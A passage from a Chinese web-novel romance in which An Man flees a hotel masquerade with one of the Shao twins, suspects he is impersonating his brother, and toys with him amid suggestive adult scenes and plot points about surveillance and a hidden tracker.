他弯着嘴角,搂着她,紧张地躲在车后,压低声音,“嘘,等会解释,有人来了。” 不远处,突然传来阵阵脚步声,两个酒店人员一边说话,一边走向车库。 “我刚刚听到了声音,是个女孩。” “韶少爷走丢的朋友可能就在这里!” 第85章 第85章演戏 85. 工作人员走进车库,小声和同伴讨论,“我刚刚也听到了,发出声音的女孩好像被吓到了,你说是不是出事了?” 两人今天轮班,刚好遇到这种事,值班人员被收买,酒店少董的朋友走丢了,又正好遇上了假面舞会,简直是一团乱麻。 上面定了奖金,只要有人找到少董朋友,就能奖励一年的工资,所有人的目光都聚集在假面舞会上,只有他和同伴注意到了直达车库的电梯。 他不动声色向前靠近,嘴里说,“可能是听错了。”一边若无其事地打开摄像头,加快脚步往刚刚发出声音的车后一照—— 空的。 他失望地叹了口气,“没人。” 同伴看了过去,“怎么可能没人,我刚刚明明听到声音了!” 他想了想,“要不我们再找找。” 同伴:“那么大的车库怎么找!” 两道脚步声伴随着拌嘴渐渐远去,“随便找找呗,万一找到了呢。” 另一辆车边,安蔓捂着嘴,紧张眨眼,黑色假面下脸色惊的发白,口型问,“走了吗?” 韶景荻探头看了看,“走了。” 安蔓摘下面具,松了一口气,清丽的脸上神色紧绷,又是紧张,又是刺激。 都怪韶景荻,躲个保安而已,故意弄得这么大阵仗,又是捂住她的嘴,又是搂着她的腰,在两人靠近的脚步声中,巧妙地移动位置让他们扑了个空。 简直像是惊险刺激的警匪电影,他们做贼那种,弄得安蔓心跳快的要命。 不过,确实很好玩。 安蔓伸手拽住他的衣摆,刚才吓到了,她有点脚软,蹲在地上起不来,嗲声嗲气 道,“韶景荻,我腿软。” 对方有点无奈,低头,“我抱你?” 安蔓轻轻伸出了手,娇柔美丽,“那你抱吧。” 韶景荻叹了口气,似乎有点无奈,“我的车就在那里,这么一点路,还需要人抱,小公主,你是还没断奶吗?我们是逃跑,不是郊游。” 他伸出手指了一下,隔着四五辆车的距离,一辆白色的超跑静静的停在那里,车身线条流畅,造价不菲,从头到脚都显露出一种极为昂贵的质感。 安蔓觉得有道理,勉为其难,扯住他的手作为支撑慢慢站起,“好吧。” 她刚站起来,却吓了一跳,不远处一个穿着保安制服的男人正好站在前方! “啊!”安蔓心脏飞速跳动,全身血液逆流,手指发紧,忍不住用力捏住韶景荻的手指,吓了一大跳。 她被韶景荻握住手指,稍微冷静了一下,才发现那个穿着安保制服的工作人员,表情不太自在,看着两人尴尬地挠了挠头。 韶景荻对她微笑摇头,“没关系。” 然后转头道,“我是韶景戈,这位是我的朋友,我们在玩游戏。” 工作人员更尴尬了,他其实早就发现了这两人,但是韶少爷对他打手势,他才没走,留了下来,结果真成了两个人游戏的一环,“少爷好。” 韶景荻气定神闲,“你是第一个发现我们的,自己去财务处领奖,知道了吗?” 工作人员没反应过来,“好的。但现在其他人那里还不知道您已经找到了朋友,需要通知他们吗?” 韶景荻:“嘘,过10分钟再通知别人,这是个游戏。” 对方被忽悠得连连点头,“好的少爷。” 韶景荻轻轻松松把人打发走,挽住安蔓的手臂,将她拉了起来,托到车边,安抚道,“没关系,他认不出我们。” 安蔓还有些腿软,被挽着上了车。 白色超跑内没什么装饰品,和他哥那辆一样如出一辙,无聊透顶。里面喷了香水,甜甜腻腻的水果香,像熟透饱满的多汁蜜桃。 韶景荻将车开出,车道设计宽阔,坡度平缓,转弯半径大,车库入口处有专业制服的安保人员。 他面不改色,淡定地按照刚才的套路装成他哥一路骗了过去,很顺利地把车开出酒店。 顺利是顺利,但总让人觉得有哪里不对劲。 安蔓想了一会儿,突然反应过来,今天晚上也太一气呵成了! 虽然偶有波折,但是从她跑套间、下电梯、混入舞会、再到遇见韶景荻,一路上好像没有遇到什么大困难。 安蔓忽然皱眉,“刚刚那个工作人员,是怎么发现我们的?” 韶景荻正在开车,弯了弯眼睛,“笨蛋,车库里有监控。” 安蔓立刻反应过来,拉下脸,开始发脾气,“韶景荻,你故意的!” 韶景荻茫然,“什么故意的?安蔓小姐,你在说什么。” 安蔓满脸不悦,已经反应过来,韶景荻这个混蛋,刚刚是故意吓她的!“所以你一开始就打着装成你哥蒙混过关的主意,那你为什么还要把我拉进车库里,躲躲藏藏!” 韶景荻啊了一声:“最开始没想到。” 安蔓冷哼,“我看不是没想到!” 韶景荻这个家伙,现在还不是一条温顺的好狗,不够听话,亏她刚才还以为他很贴心。 没想到心里,压根就打着坏主意,他刚才从头到尾都是故意的,还敢恐吓她。 安蔓:“为什么故意吓我?难道你是打着吊桥效应的心思,想趁机提升我对你的好感?” 驾驶座上的人轻轻眨眼,一点也不羞愧,笑嘻嘻说,“哎呀,被发现了。” 安蔓呵了一声,看在还在开车的份上,不和他算账。 等下车了,到酒店了,连同他哥的份一起跟他算。 她轻咬嘴唇,抬了抬眼,看向后视镜,表情忽然柔柔一笑,上次和韶景荻见的最后一面,就是被他服务。 韶景荻的舌头非常灵活,而且不耻下问,善于学习。不像江赫,总是别别扭扭的。 安蔓嘴角弯了弯,这么久了,她还真有点怀念狗狗的服务了,声音柔和道,“韶小狗,我们去哪,这么晚了,怎么不找个地方先住下来。” 韶景荻将车开到夜色里,窗外的路灯飞速后退,他想了一会儿,严肃问,“你想去见崔英朗他们吗?” 安蔓立刻摇头,她听到崔英朗名字就有点痿,忍不住想起那天他把韶景荻硬生生从裙摆里拽了出来,“不想。” 韶景荻嬉笑,“好,那我们就不去见他,我听说你原来的打算,是和江赫私奔是不是,换成和我私奔怎么样?” 安蔓拍了拍他的手臂,责怪,“我都跟你跑了,不要磨蹭,快说你的安排。” “没问题。”对方的声音很是冷静,给她一项一项地讲解自己的计划。 “今天晚上,我们先去找一个没有摄像头,也不需要登记身份证的小旅馆住下。” “等到时机合适了,我们再悄悄地走小路,避开那些摄像头,找个风景优美的地方一起度假,好好玩几个月,怎么样?” 安蔓听完了,觉得比江赫的计划好多了,忍不住弯起嘴角,夸奖,“好狗狗。” 她的笑容很快就垮了下来。 对方将车开出山路,并没有往市中心,而是特地往偏远的地方开,越往外开,经济繁华的、灯火璀璨,奢侈品遍地服务上流的酒店越少,取而代之的是,人流逐渐稀疏的陈旧精品店、招牌松松垮垮的快餐店和一成不变隔几米竖立的路灯。 直到这人东拐西拐,将车停到一个四层楼高,写着“xx旅社”、窗户外装着防盗网、外层爬着绿丛丛的爬山虎的旅馆,将她领进前台,交钱给老板娘登记后,安蔓的脸色彻底绷不住了。 “……我们住这里?!” 对方笑容灿烂,“是的。” 安蔓柳眉倒竖,目光不受控制的往一踩上去就咯吱咯吱响的楼梯、昏暗的光线,以及泛黄的灯泡看去,气笑了,“你有病吧!” 这人还是笑嘻嘻的,“没关系,凑合一晚啦。”. 韶景荻来到酒店时,假面舞会还在继续,夜已深沉,星光点点,舞会上的男女们醉生梦死,看上一人便献上玫瑰,牵手滚进最近的房间。 他眉毛也没眨一下,身边跟着江赫,第一时间找到了慕玉泽,“你看到我哥了吗?” 慕玉泽拿着手机:“没有。” 韶景荻皱了皱眉:“那你看到安蔓了吗?” 慕玉泽手机屏幕上是缩小的全市地图,上面一个清晰的红点不断闪烁,它一路移动,最终停留在四区的一个位置。 他指尖点了点位置,将地图放大,头也没抬,“看到了。” 韶景荻一得到消息就赶了过来,他知道慕玉泽什么德性,也没为他的态度生气,追问,“然后呢?” 慕玉泽仔细观察地图上红点的位置,记在脑中,漂亮的蓝色眼睛轻轻弯了弯,像是捕捉到亟待猎取的猎物。 他难得抬起头,对韶景荻微笑了一下,阴阳怪气,“然后她走了。” “有病。”韶景荻没从慕玉泽那里得到什么消息,有点烦躁,啧了一声,懒得搭理他。 他转过身,离开这里,找到江赫待着的房间。 对方面无表情的坐在监控室里,眼前放着几台电脑,每台电脑记录着不同场景的监控 ,监控被分成4个小屏,上面储存的影像倍速播放。 江赫冷漠地看着屏幕,流动的光彩印在他冰冷的绿色瞳孔中,一一幕幕的人影在他的眼中飞快跳动,酒店辅助系统自动标出目标人物。 江赫暂停了监控录像,转过屏幕,对韶景荻指着其中一幕,“这里监控被替换了。” 他的指尖,掠过宴会上的一个金色人影上,然后按在车库监控上,“这里,她被你哥带走了。” 韶景荻探头看了一会儿,忍不住又啧一声,敲了敲桌子,询问旁边的工作人员,“你和我哥当时说什么了?他有没有说要去哪。” 工作人员有点搞不清楚,到底发生了什么事,但他还是一五一十,将当时的场景复述出来。 他叙述的十分详细,包括韶景戈和那位面具小姐在车库里躲藏、被他发现的情形、然后将他打发走时说的话。 韶景荻听了,摇了摇头,“算了,你出去吧。” 他心里微微叹气,忍不住轻声抱怨,“这下麻烦,好不容易才发现他们,他们又跑了,按照我哥的性格肯定已经扫好了尾,这些该往哪里找都不知道了!” 江赫冷冷盯着屏幕,“他是故意的。” 韶景荻轻轻啧了一声,看着屏幕,“当然。” 韶家的酒店经营多年,不说固若金汤,也是有规有矩,里面的员工一旦发现违规行为立刻开除。云元奇那点钱还不够赔误工费的。 安蔓能那么轻松被人带走,只有一种解释,那就是韶景戈故意为之。 韶景荻撇了撇嘴,抱怨,“韶景戈到底什么时候看手机啊!太过分了,他这几天是不是故意无视我的信息!” 他有点心烦,安蔓的病情也不知道是真是假,江赫手里虽然有病历单,但没有检查过一次总是不太安心。 他和兄长思维相似,不再看监控,而是打开了地图,一遍遍模拟他可能去哪,渐渐的越发烦躁。他一直以来,遗漏——或者是故意忽视了一个事实。他喜欢的,韶景戈作为兄长肯定喜欢! 不然,他处理的手段不会那么温和。 从小到大,但凡接近韶景荻的危险生物,都会被他淡淡消灭。这是这人第一次那么拐弯抹角。 “快点找到吧。”韶景荻喃喃,安蔓的病不能拖。 还有崔英朗那个家伙,简直像是一座亟待喷发的活火山,拖得越久越危险,他现在的安静只是因为没有找到人,沉静的表象下是危险至极的火焰。 再晚点找到,受些刺激,他说不定能把奸夫生生殴打死!. 安蔓被领到房间,有点崩溃,被粉刷得灰白的墙面上挂着旧式日历,硬板床上铺着鲜艳无比的床单,床的对面是一台小尺寸液晶电视,旁边放着烧水壶,上方则有一台噪音不小的窗式空调。 偏暖的灯光下,不知道是否被用过的一次性拖鞋摆在床边,窗户没关,印花窗帘随风扬起,隐约能听到隔壁的说话声和脚步声。 安蔓转完一圈,微微崩溃:“系统,韶景荻是故意的吗!他绝对是故意的!” 系统被她骂多了,已经学老实了,同仇敌忾,“没错,那么多豪华旅馆不去,偏偏选这里。” 安蔓略带不适,微微蹙眉,早知道要住这种地方,还不如老老实实和被韶景戈关起来呢,至少不用受这种苦! 她柳眉微蹙,脸色雪白,眼中含怒,轻声抱怨,“不对劲,韶景荻到底为什么要选这个地方?” 系统跟她一起分析,“可能是这里离度假的地方近?或者是这里离开比较方便?还是随便选的?” 安蔓听了,还是摇头,总觉得都不对劲。 她站起来细细打量周围的环境。刚刚太震惊了,她有点懵了,没有反对被带到了房间。 现在细细打量,才发现这应该是这个旅馆最好的套间,地板、墙壁和被褥都是干干净净的,但墙壁上的挂历是去年的没有更换,纸页微微泛黄。 安蔓深呼吸,咬紧牙齿,气的脸颊微粉,“他绝对是故意的,为什么要这样,他在生气故意吓我吗?” 系统也被她解开了思路,试探性的提议,“难道,这也是吊桥效应?总不能是他看不惯你故意互相折磨吧。” 这个可能性不大,毕竟这对双生子男主也从来没有过过苦日子,住这里也是自己找不痛快。 安蔓轻咬嘴唇,唇瓣被她咬的微微发红,汁水淋漓,鲜艳欲滴。 “可能都有。”她忽然冷笑,“我有一个猜想,这个人不是韶景荻。” 安蔓一阵气闷,要是猜想成真的话,说明她根本没有跑掉,兜兜转转不过还是撞进了韶景戈的网里。 这个贱人! 韶景戈出门去买了两瓶矿泉水,提在手里,走进套间,灿烂一笑,“口渴了吗?” 安蔓站直,摇曳的金色长裙衬托的她身姿婀娜丰满,皮肤雪润,白里透粉,典雅中带着一丝丝勾人的媚,声音低哑,“嗯。” 韶景戈微微一怔,“怎么了?” 安蔓回头,眼圈微微发红,眼角带泪,“到底要在这里住多久,我难受。” 韶景戈轻笑安慰,“明天就可以走了,现在是时间太晚,找不到适合的旅馆,只能在这里凑合一下。” 安蔓满脸不信,梨花带雨,声音带着哭腔,扑到他怀里,“你说度假是不是骗我,我们之后都要过这种苦日子!” 韶景戈伸手扶住她的手臂,轻轻安抚她,却被安蔓不依不挠地揪住衣服闹,“我不要住在这里,我难受,我的皮肤会起湿疹!” 韶景戈招架不住,安慰了几句,还是没能止住她的眼泪,终于松口,“好,换个地方。” 安蔓跟着他退了房,走出旅馆,回到车内,眼泪终于慢慢止住,楚楚可怜,“早这样不就好了,坏狗。” 韶景戈关上车门,没有评价她的话,准备开车,“……那我们找个条件好点的地方。” “算了。”安蔓突然又改了口,“我们就在车里睡好不好?我感觉这里都是差不多的,旅馆还不如坐在车里呢。” 韶景戈微微思忖,“你觉得没问题就好,我睡在哪里都无所谓。” 安蔓咬住嘴唇,唇瓣艳红,嘴唇带着水光,又润又潮。 她眼带恶意,冷冷盯着他,几乎按捺不住心里的烦闷,娇声道,“韶狗,我好难受,你能不能安慰我一下。” 对方点了点头,微微俯身,像是准备给她一个拥抱,拍拍她的肩膀,或者说出几句抚慰的话,可能是因为小的时候带过弟弟,他对这些动作到不陌生。 可接着他意识到了安蔓口中的抚慰是什么意思,整个人突然僵住! 安蔓心情恶劣,烦躁至极,越看他越不像韶景荻。 这人变态啊。 什么样的心理,才会让他伪装成他弟弟来骗她。就为了把她骗去关起来?太过分了。 她声音柔媚,“坏狗,你这几扇窗户玻璃是透明的,外面看得到吗。” 对方怔忪,“玻璃可以调成单向可视……” 安蔓突然翻身趴坐在韶景戈身上,对方不自觉扶住了她,手指迟疑地落在她的腰上。 手指下、腿下的肌肉紧绷,硬邦邦的,她揉了几把,轻轻一笑,“可以教我怎么调玻璃吗?” 韶景戈从怔忪中恢复过来,灿烂一笑,“当然,公主,但是在车里不太合适吧。” 安蔓的手指轻轻地抚摸过他的脸,光洁的额头、俊秀的眼睛,高耸的鼻梁……还有一张一合的、很适合舔人的嘴唇。 她动作又慢又柔,声音带着钩子,“韶景荻,你有点奇怪,以前都不会拒绝我的。” “你怎么像变了一个人似的,你不是一直很期待车O吗?” 话音刚落,对方停住。 安蔓见状,软软一笑,雪白的脸微微泛红,粉白柔嫩的指尖继续抚摸他的脸颊。 韶家兄弟共用的脸,五官标致,轮廓分明,单论轮廓他是偏冷的长相,瞳色深灰,不笑的时候有一种高高在上的冰冷疏离感,但当他轻笑起来,也如同春风化雨,斯文温和,只是眼中始终抹不 掉那股傲慢。 安蔓抬起手扇了他一巴掌。 啪! 韶景戈皮肤白皙,养尊处优,一巴掌下去,皮肤迅速变红。 他的瞳孔中浮出怒气,脸上的笑容立刻消失,声音也低沉下来,“安……” 安蔓抓住他的头发,低头吻住他的嘴唇,楚楚可怜,“对不起我控制不住自己,弟弟。” 韶景戈一僵,手指已经按上了她的肩膀,像是不确定是否要把她推开。 “别生气,我好难受,你安慰安慰我。”安蔓声音娇柔,表情妩媚,抓住他的手往自己丰满的胸口上按,抽抽噎噎,“胸口痛,你帮我揉一揉嘛。” 韶景戈的脸上的表情已经彻底消失,甚至有几分空白,深吸一口气,咬字,“安、蔓!” 安蔓抽了抽鼻子,委委屈屈的应了一声,另一只手假装不小心,在他红肿起来的半张侧脸上重重往下按,“小狗弟弟,我跟你说过,我有时候控制不住自己会揍人,你答应过要包容我的!” 韶景戈的表情发黑,不知道的想到了什么,瞳孔幽冷,“我、们,以前怎么玩过?” 安蔓才还不管他,既然他想装,安蔓就配合他装,玩死他! “像这样。”安蔓长裙婀娜,金色的裙摆微微掀起,她抓了几把,把他的头往下按,抽抽噎噎,“那你快点安慰我,我难受。” 第86章 第86章86.安蔓纤细…… 86. 安蔓纤细修长的手指抓紧方向盘,手心出了汗,手指打滑,只能紧紧捏着裙摆,瓷白的指尖泛着嫩粉,随着呼吸微微发抖。 她闭着眼睛,小腿绷紧了,喉咙轻哼,把对韶景戈的不满一点点发泄出来。 韶景戈嘴太贱了,她堵了他的嘴,让他没办法说话。 只有全心全意服务她,还闭嘴的时候,这人才有几分顺眼。不过,他不愧和韶景荻是兄弟,学习能力一样强,一点就通,在这方面很讨人喜欢, 安蔓红唇微张,脸颊泛红,声音软的跟小猫似的,细腰一抖一抖,嘴角恶意勾起,“弟弟,我就喜欢你这样,安慰我,讨好我,像小狗似的,很乖。” 韶景戈蹙眉,但被堵住嘴,没法说话, 安蔓一边享受,一边拉踩,光洁的小腿搭在他的肩膀上,雪白的脚尖勾着高跟鞋一晃一晃,故意开口,“不像你哥哥,老是一副装腔作势的脸,看起来风度翩翩,实际上装的不行,看起来真让人反胃。” “他还想把我关起来。” “他以为他是皇帝吗,有病!” 韶景戈被呛到,轻轻咳嗽,喉结滚动一下,不小心咽了下去。他有点后悔,刚刚应该直接揭露身份,而不是配合她继续演,到现在,误打误撞发展到这个地步,已经没办法开口。 安蔓骄纵,拜金,享乐主义,韶景戈将她带出来,换了旅社,不乏看笑话的心思。现在,她没受什么苦,反倒是他被玩了一顿。 他轻轻抬眼,眼神缓慢爬过安蔓的皮肤,她额头出了一点汗,亮晶晶的,激动时浑身泛粉,脖颈、脸颊、耳后、胸口、…都微微发红,像是丰沛诱人汁水淋漓的薄皮水蜜桃,嫩生生的,看着非常可口。 她身材纤细,很瘦,手臂、小腿都细细的,但是大腿浑圆,肤色白,皮肤嫩,轻轻一掐就能留下痕迹,非常刺眼。这条金色长裙,颜色鲜艳明丽,缀着金灿灿碎钻,显黑又压人,但她偏偏穿着恰到好处,耀眼好看。 这么美丽的皮囊,主人却偏偏自私,恶劣,花心,自我。 就像现在,当她勾起嘴角,故意抓着他的头发,眼睛黑漆漆的、低头看人时,瞳孔里透着一股明晃晃恶意。 韶景戈垂眼,不看她。 安蔓结束后出了一身汗,这种事果然有助于解压,她心情愉快多了,贴在韶景戈耳边,嘲弄道,“怎么,这就结束了。” 韶景戈抬起头,轻轻吐气,扯了一张纸。脸上睫毛,发丝,鼻尖,嘴唇都被水打湿了,湿漉漉地黏在雪白的脸颊上,仰头看她,笑容灿烂,眼神却很淡,“是。” 安蔓亲昵地搂着他的脖子,故意用胸口蹭他,软绵绵道歉,“对不起呀,我有时候比较粗暴,谢谢你一直以来的包容。” 先打个底,万一之后他又犯贱,正好有借口揍人。 韶景戈轻轻蹙眉,听出几分意思,安蔓和他弟弟之间,恐怕玩的真有点花,“不客气。” 安蔓松手,立刻翻脸不认人:“行了,那你下去吧。” 韶景戈刚擦完脸上的水:“……什么?” 安蔓满脸为难,迟疑,“这里太窄了,两个人太挤了,只够我睡。反正你是男的,睡不睡觉都行,你不是说要让我过好日子吗,难道这个也要跟我挤?对了,你快点找一家好点的酒店,这里真不是人待的!” 韶景戈垂眼看了她一会。 半晌,没说话,开门下车了。 安蔓懒洋洋地靠在车内的皮革软垫上,红唇微勾,心底嗤笑,韶景戈是真有病,都到这一步了还在演,还不承认他是谁。 难道是打着用他弟弟的身份把她骗走,关起来的主意? 她叫出了系统,“看看韶景戈的好感。” 系统把好感悬空,展示在眼前。 安蔓眯着眼睛研究了一会,好感度在刚才上升了,比之前高,比韶景荻低。 最大的波动点,分别是刚刚,和酒店入住那天,她故意气人的时候。 安蔓心里有了主意,轻哼,“收回去吧。” 她手动调位置,努力让自己舒服一点,虽然这辆跑车车厢够宽敞,座椅也软,但总是比不上床,躺久了不舒服。 安蔓在心里咒骂了韶景戈几句,换了几个姿势,还是睡不着,心情烦躁,翻来覆去,忍不住坐起来,和系统抱怨,“刚才应该多扇他几个耳光,烦死了,车上怎么睡人啊!” 她心情郁闷,大脑清醒,又翻来覆去一会儿,终于迷迷糊糊有了睡意。睡着前满肚子怨气,脑子里已经想好了怎么玩他。 韶景戈不是爱装吗,她倒要看看他能忍到哪种程度!. 韶景戈下了车,被冷风一吹,靠在车边,从口袋里掏出一支烟,点燃了夹在指间,拿出手机,按了按眉心,还是打电话让人订了个条件好点的酒店。 安蔓脾气差,今天还没住进去,只是看了看旅馆的环境,就到处发火,真让她住进去了还不知道要气成什么样。 手机里全是韶景荻的未接来电。 他定好了酒店,指尖停顿一会儿,打开通讯录,点了弟弟的电话。 对面迅速接通,满含怨气,“韶景戈!终于记得给我打电话!” 韶景荻一接到电话,便立刻站起身来,准备让人定位兄长的位置,结果还没走出房间,就被他一句话打断。 韶景戈:“我这台手机没法定位。” 韶景荻坐下了,声音不太愉快,“你把她带哪去了!” 韶景戈面带微笑,声音和缓,轻声安抚,“别担心,阿荻,我不打算伤害她,等我把安蔓送到你们都找不到的地方就回来。” “韶景戈你又这样。”韶景荻头痛。 韶景戈哪儿都好,唯一的缺点就是和韶家其他人一样保护欲过剩,刚觉得他不安全的时候,就会亲自动手移除。 不过他的方法很有用。 韶景荻的兴趣来的也快,去的也快,往往几个月后,就会对原先的事物失去兴趣,就算再出现在面前也不在意了。 现在,安蔓就是那个不安全的因素。 韶景戈夹着烟,橘色的光在黑暗中明明灭灭,映照在他深灰色的瞳孔里,情绪稳定道,“你怕什么,我不会伤害她,我只是带走她,如果你真的喜欢她,一年后还没不失去兴趣的话,我就不阻止你。” 韶景荻的声音却停顿了一下,倏忽低沉,“你的处理方式和以前很不一样,哥。” 韶景戈忍不住回头,车窗模模糊糊 的,看不清里面,他站在冷风中,吹的大脑清醒。 韶景荻通常在想让他达成什么目的时,才会主动喊哥。 而一般情况下,他都会答应。 他弟弟的声音很低,很轻,轻飘飘的往外吐,“其实我很早以前就发现,你对她不一样,只是一直装傻,假装没发现……其实想想也是,我们兄弟的喜好那么像,你怎么可能不喜欢她。狂欢日那天的事,我一直装傻,装作不知道。” 韶景戈心口沉闷,听着弟弟的声音变低,咬字清晰,有些凉。“哥你不能这样,她是我先喜欢上的,你知道吗?” 韶景戈低声,“嗯。” 手机对面的声音还是沙沙的,不过没了以往的顽劣嬉笑,多了一丝丝央求,韶景荻知道自己在强人所难,但还是开口了,“你不许对她出手,我们所有的亲人、朋友都是共享的……但是这个真的不行。” 韶景荻央求:“你答应我,不要对她出手,不要和她睡,别伤害我,好吗?” 韶景戈对着电话说,“好。” 手机里的声音长舒一口气,重新变得愉快起来,韶景荻知道他会答应,笑嘻嘻道,“那就好,我这次不跟你计较了,哥我告诉你,我这次是认真的,和以前那些对玩具的喜欢不一样!” 韶景戈沉默了一下:“我知道。” 韶景荻笑容灿烂,“知道就好。我也不让你把她送回来了,反正你不会答应。你最好藏好了,不然我们迟早会找到!” 韶景戈:“好。” 韶景荻把正事商量完之后,长舒一口气,怕他下次又断联,趁韶景戈好不容易接电话的机会,再次重复重要内容,“我发给你的体检报告看了没,安蔓好像生病了,不管你把她带到哪都尽快检查一遍,我担心她的身体。” 韶景戈之前一直没有看他发来的消息,现在点开聊天框,下载了弟弟发过来的pdf,放大仔细看了看。 看着看着,表情渐渐变的困惑,他确认一遍报告的医院是正规场所,很快答应下来,“好,我尽快带她体检。” 挂了电话,他摁灭了烟,轻轻吐出一口气,打开手机让人联系医院,在冷风中站了一会儿,直到烟味被吹散,才回头打开车门。 安蔓蜷缩在车后座上,表情难受,雪白的脸颊埋在手臂里,已经睡着了。 她看起来确实很瘦弱,脸颊白,嘴唇淡,没什么血色,有种淡淡的不健康感。 仿佛察觉到动静,安蔓不适地动了动,脸颊皱的更紧了。 韶景戈在心里盘算好检查时间,刚准备关上车门转身离开,突然目光一凝,落在驾驶座下的角落,那里掉了一个圆圆的东西。他俯下身,伸手捡起,捏在手中。 那是一个定位器. 安蔓难受地在车上蜷缩着睡了一觉,第二天,韶景戈大概是吸取了教训,终于开车在远离中心区的6区订了一个酒店。 她舒舒服服地在韶景戈开好的房间,洗了澡换衣服,美美的睡了一觉,神清气爽,恢复了精力,刚准备对这个死变态大展身手,却发现对方似乎在躲她! 虽然韶景戈顶着他弟弟的身份,但对她的监控一点也没放松,依旧是定了顶层的酒店,没给她手机,美其名曰“怕手机被人定位找到她”,然后用各种娱乐方式糊弄她免得她无聊,但韶景戈本人出现的频率却开始降低,还派了酒店套房的专属管家多次催她,看病。 专属管家恭恭敬敬,“韶少爷联系了医院,为您预约了一个体检,安小姐,您看您今天方便的话不如和陪诊员走一趟吧?” 安蔓老是找不到人,憋的慌,听到这话就知道韶景戈多半是和其他几人联系上了,“不去!” 管家为难,“小姐,身体要紧。” 安蔓根本没打算去,要是去了、被确诊了,她肯定被关在医院里强制治疗,那还攻略个屁,“你帮我跟韶少爷传达一声,如果他陪我,我就去。” 管家为难,拗不过她,还是点头,“好吧,您别生气,消消火。” 管家推门出去,一会儿另一位服务员端了一杯茶进来,放在桌上,“小姐,这是我们酒店的特色玫瑰花茶,美容养颜,清热下火,请您品尝。” 安蔓心情不好,看了一眼,“谢谢,我不想喝。” 服务员笑了一声,背对着监控,蹑手蹑脚塞给她一张纸条,“好的,等您想喝了随时叫我。” 安蔓挥了挥手,对方却还不走,突然压低了声音,“安小姐,慕少爷托我来问一句,您需不需要帮忙。” 安蔓挑了挑眉,抬起眼,端详着工作人员的大众脸,忍不住啧了一声。 她就猜上次逃跑的那么顺利,云元奇改口那么快,也有慕玉泽的手笔。 不过,她不确定这次是不是韶景戈又故意放她走,然后来一次瓮中捉鳖。 安蔓端起茶喝了一口,口感不错,不愧是酒店的招牌特色,“需要。” 服务员将腰弯的更低了,微微抬手,指向玫瑰茶,像是在介绍这杯茶的口味来历,“好的,请问您有需要和他传达的话吗。” 安蔓又喝了一口茶,将玫瑰茶碗放下,想了想,“你告诉他,我需要他的帮助,但我不相信他,让他做点什么证明他的诚意。” “好。”服务生收回了手,弯了弯腰,退出去。 安蔓轻哼着,慢慢地居然将一杯茶喝完了,口感确实不错,但并不祛火,至少她现在心火很旺。 安蔓有点记仇,骂她的人都记着,韶景戈一直不出现,反而没有报复的机会。 她站起来,施施然地回到房间,在批量买来、明显连筛都没筛过一遍的衣柜里,挑了一件黑色蕾丝睡裙。 裙子很短,堪堪到雪白的大腿跟,腿肉浑圆,白肉颤巍巍的,被黑色系带勾着。睡裙收腰,低领,风格柔媚,风情无限。 睡裙外套一档,瞬间又变得体面又得体,保守得遮住从胸口到膝盖的皮肤。 安蔓欣赏了镜子中的自己一会儿,嘴唇噙着笑,走出房间,挑中了会客厅半人高的青花瓷大花瓶,拿起茶桌上的烟灰缸,开始——砸东西! “韶少爷,那位小姐……她可能心情不好。”管家好不容易等来了韶景戈,长舒一口气预言幼稚,最后闭眼递上了酒店的账单。 账单上写着一长串房间损耗:青花瓷瓶,电视,收音机,茶几,烟灰缸…… 韶景戈今天去公司处理了一些事物,顺便将这段时间的痕迹扫尾,避免被追踪,一回来就被塞了账单。 他看了一会儿,温声问,“她去体检了吗?” “没有,她不肯去说。安小姐说要你陪才肯去。”管家犹豫,“她可能心情不好,一个人有点抑郁……在房间里砸东西发泄情绪。” 韶景戈风度翩翩,嘴笑含着微笑,签了账单,情绪很稳,“我知道了。” 管家拿了账单,松了一口。 韶景戈对他点了点头,来到套房门口站了一会儿才推门进去,里面果然一片狼藉。 安蔓砸的东西不多,专挑贵的,电子产品。不过如果从价值来讲,她选错了对象,这里最贵的其实是她那一柜子衣服。 韶景戈扫视一圈,心里有了底,刚刚踏步进去,脸上挤出灿烂微笑,就被安蔓迎面抱了上来。 她娇滴滴地抱怨,倒打一耙,“小狗,你怎么能这么对我,我一个人在这里都无聊的砸东西了,你要赔我!” 韶景戈恍惚了一下,莫名其妙想起,上一次安蔓在酒店房间里嘲讽、辱骂他。 而现在,同样的场景,相似的睡衣,她却笑脸盈盈,对着他弟弟柔柔撒娇。 韶景戈笑嘻嘻地,“真对不起啊主人,我最近有点忙,你看我现在不是来陪你了吗!” 安蔓轻咬嘴唇,表情担忧,红唇鲜艳,漂亮的眼睛软软地看着他,“是因为你哥为难你了吗?我就知道他是个贱人!” 韶景戈的身体微顿一下,才继续笑道:“……不是,我处理了一些业务上的事。” 安蔓伸出手,牵住韶景戈,把他拉到了旁边完好无损的沙发。 她的手又软又细,软绵绵,和他十指相扣,把他推上沙发,然后坐了上去,圈住他的脖子。 韶景戈现在已经不会因为这种接触僵硬,他表情自然,身体放松,仰着头看她,手指自然的扶在她的腰上。 安蔓垂眼,不屑勾唇,想知道他能演到哪种程度,亲可以、舌忝可以,那做呢? 她柔柔低头,和他额头相抵,轻声细语,故意嘲讽,“小狗你就不要瞒着我了,我知道你哥哥那个贱、人,一直在追我们。他是不是对你很坏?” 韶景戈笑容灿烂,“……其实还好。” 安蔓根本不信,连连摇头,伸手撩了撩他的刘海,触碰他的眼睛、鼻尖,嘴唇。 她有点纳闷,这对兄弟真的一模一样,演起对方来该死的像,要不是她有戒心也真被韶景戈骗过去了! 既然这人要演,她就陪他演。 安蔓柔声细语,目露怜爱:“你别骗我了,我知道他是个眼高于顶的贱、人,其实你小时候在他手下过得很不好吧,小可怜。” 韶景戈笑容完美:“其实还好。” 安蔓摇头,困惑,“我不懂,我没有姐妹,你给我讲讲吧。” 韶景戈扶住了她 的腰,慢慢说,“好。” 韶景戈和韶景荻是双胞胎,两个人一母同胎,同一天出生,韶景戈先出母亲的肚子,早了几分钟,成了哥哥。 两个人双胞胎,血脉相连,连样子都分毫不差,家里人从小给给予的衣服、玩具、宠爱,也都是一样的,几乎所有人都没办法区分他们两人,直到出生不久的弟弟开始发烧。 韶景戈关于小时候、对于弟弟的记忆里,最多的是他生病时的场景,弟弟出生的时间晚,身体弱、抵抗力差,经常因为接触一些不干净的小动物感染了细菌,或是因为天气冷热感冒发烧,被送进医院。 明明是一母同胎,他十分健康,他弟弟却纤细瘦弱看起来营养不良,同样的长相,大人开始分不清,后面却能一眼认出:健康的是哥哥,瘦弱的是弟弟。 有一次,弟弟捡起了树上掉下来的野鸽,自己翻出了绷带,笨拙的包扎,悄悄养了起来,结果第2天进了医院。 